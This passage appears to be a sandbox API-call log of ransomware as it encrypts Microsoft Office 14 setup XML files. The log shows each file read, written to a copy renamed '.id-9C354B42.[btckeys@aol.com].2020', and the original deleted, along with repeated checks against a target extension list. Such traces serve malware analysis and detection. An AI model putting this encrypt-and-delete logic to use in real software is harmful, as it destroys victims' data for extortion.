CloseHandle (hObject=0x1e0) returned 1 [0075.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0075.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.281] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.281] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.282] GetLastError () returned 0x0 [0075.282] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x648, lpOverlapped=0x0) returned 1 [0075.284] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x650, lpOverlapped=0x0) returned 1 [0075.285] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0075.285] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.285] SetEndOfFile (hFile=0x1d8) returned 1 [0075.285] CloseHandle (hObject=0x1d8) returned 1 [0075.285] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.286] SetEndOfFile (hFile=0x1e0) returned 1 [0075.286] CloseHandle (hObject=0x1e0) returned 1 [0075.286] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.287] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0075.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.287] lstrlenW (lpString=".doc") returned 4 [0075.287] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString=".docx") returned 5 [0075.287] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.287] lstrlenW (lpString=".pdf") returned 4 [0075.287] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString=".xls") returned 4 [0075.287] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString=".xlsx") returned 5 [0075.287] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.287] lstrlenW (lpString=".ppt") returned 4 [0075.287] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.287] lstrlenW (lpString=".zip") returned 4 [0075.287] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.287] lstrlenW (lpString=".rar") returned 4 [0075.287] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString=".bz2") returned 4 [0075.287] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.287] lstrlenW (lpString=".7z") returned 3 [0075.287] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.287] lstrlenW (lpString=".dbf") returned 4 [0075.288] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".1cd") returned 4 [0075.288] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".jpg") returned 4 [0075.288] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".doc") returned 4 [0075.288] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString=".docx") returned 5 [0075.288] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.288] lstrlenW (lpString=".pdf") returned 4 [0075.288] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString=".xls") returned 4 [0075.288] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString=".xlsx") returned 5 [0075.288] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.288] lstrlenW (lpString=".ppt") returned 4 [0075.288] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".zip") returned 4 [0075.288] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.288] lstrlenW (lpString=".rar") returned 4 [0075.288] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString=".bz2") returned 4 [0075.288] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString=".7z") returned 3 [0075.288] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".dbf") returned 4 [0075.288] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.288] lstrlenW (lpString=".1cd") returned 4 [0075.289] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105 [0075.289] lstrlenW (lpString=".jpg") returned 4 [0075.289] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.289] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.289] lstrlenW (lpString="SETUP.XML") returned 9 [0075.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.292] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=6241) returned 1 [0075.292] CloseHandle (hObject=0x1e0) returned 1 [0075.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 0x20 [0075.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.292] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.293] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.293] GetLastError () returned 0x0 [0075.293] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x1861, lpOverlapped=0x0) returned 1 [0075.295] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x1870, lpOverlapped=0x0) returned 1 [0075.296] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0075.296] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.296] SetEndOfFile (hFile=0x1d8) returned 1 [0075.296] CloseHandle (hObject=0x1d8) returned 1 [0075.296] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.296] SetEndOfFile (hFile=0x1e0) returned 1 [0075.297] CloseHandle (hObject=0x1e0) returned 1 [0075.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.298] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml")) returned 1 [0075.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.298] lstrlenW (lpString=".doc") returned 4 [0075.298] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString=".docx") returned 5 [0075.298] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.298] lstrlenW (lpString=".pdf") returned 4 [0075.298] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString=".xls") returned 4 [0075.298] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString=".xlsx") returned 5 [0075.298] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.298] lstrlenW (lpString=".ppt") returned 4 [0075.298] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.298] lstrlenW (lpString=".zip") returned 4 [0075.298] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.298] lstrlenW (lpString=".rar") returned 4 [0075.298] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString=".bz2") returned 4 [0075.298] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString=".7z") returned 3 [0075.298] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.298] lstrlenW (lpString=".dbf") returned 4 [0075.298] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".1cd") returned 4 [0075.299] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".jpg") returned 4 [0075.299] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".doc") returned 4 [0075.299] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString=".docx") returned 5 [0075.299] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0075.299] lstrlenW (lpString=".pdf") returned 4 [0075.299] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString=".xls") returned 4 [0075.299] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString=".xlsx") returned 5 [0075.299] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0075.299] lstrlenW (lpString=".ppt") returned 4 [0075.299] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".zip") returned 4 [0075.299] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.299] lstrlenW (lpString=".rar") returned 4 [0075.299] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString=".bz2") returned 4 [0075.299] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString=".7z") returned 3 [0075.299] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".dbf") returned 4 [0075.299] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.299] lstrlenW (lpString=".1cd") returned 4 [0075.300] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0075.300] lstrlenW (lpString=".jpg") returned 4 [0075.300] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.300] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.300] lstrlenW (lpString="VisioMUI.XML") returned 12 [0075.300] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.594] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=9503) returned 1 [0075.594] CloseHandle (hObject=0x198) returned 1 [0075.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0075.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0075.595] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.595] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.595] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0076.173] GetLastError () returned 0x0 [0076.173] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x251f, lpOverlapped=0x0) returned 1 [0076.228] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x2520, lpOverlapped=0x0) returned 1 [0076.230] ReadFile (in: hFile=0x198, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0076.230] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0076.230] SetEndOfFile (hFile=0x1e0) returned 1 [0076.230] CloseHandle (hObject=0x1e0) returned 1 [0076.231] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0076.231] SetEndOfFile (hFile=0x198) returned 1 [0076.232] CloseHandle (hObject=0x198) returned 1 [0076.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0076.232] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0076.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.232] lstrlenW (lpString=".doc") returned 4 [0076.232] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.232] lstrlenW (lpString=".docx") returned 5 [0076.233] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0076.233] lstrlenW (lpString=".pdf") returned 4 [0076.233] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.233] lstrlenW (lpString=".xls") returned 4 [0076.233] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.233] lstrlenW (lpString=".xlsx") returned 5 [0076.233] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0076.233] lstrlenW (lpString=".ppt") returned 4 [0076.233] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.233] lstrlenW (lpString=".zip") returned 4 [0076.233] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.233] lstrlenW (lpString=".rar") returned 4 [0076.233] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.233] lstrlenW (lpString=".bz2") returned 4 [0076.233] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.233] lstrlenW (lpString=".7z") returned 3 [0076.233] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.233] lstrlenW (lpString=".dbf") returned 4 [0076.233] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.234] lstrlenW (lpString=".1cd") returned 4 [0076.234] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.234] lstrlenW (lpString=".jpg") returned 4 [0076.234] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.234] lstrlenW (lpString=".doc") returned 4 [0076.234] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString=".docx") returned 5 [0076.234] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0076.234] lstrlenW (lpString=".pdf") returned 4 [0076.234] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString=".xls") returned 4 [0076.234] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString=".xlsx") returned 5 [0076.234] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0076.234] lstrlenW (lpString=".ppt") returned 4 [0076.234] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.234] lstrlenW (lpString=".zip") returned 4 [0076.234] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0076.234] lstrlenW (lpString=".rar") returned 4 [0076.234] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString=".bz2") returned 4 [0076.234] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.234] lstrlenW (lpString=".7z") returned 3 [0076.235] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0076.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0076.235] lstrlenW (lpString=".dbf") returned 4 [0076.235] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 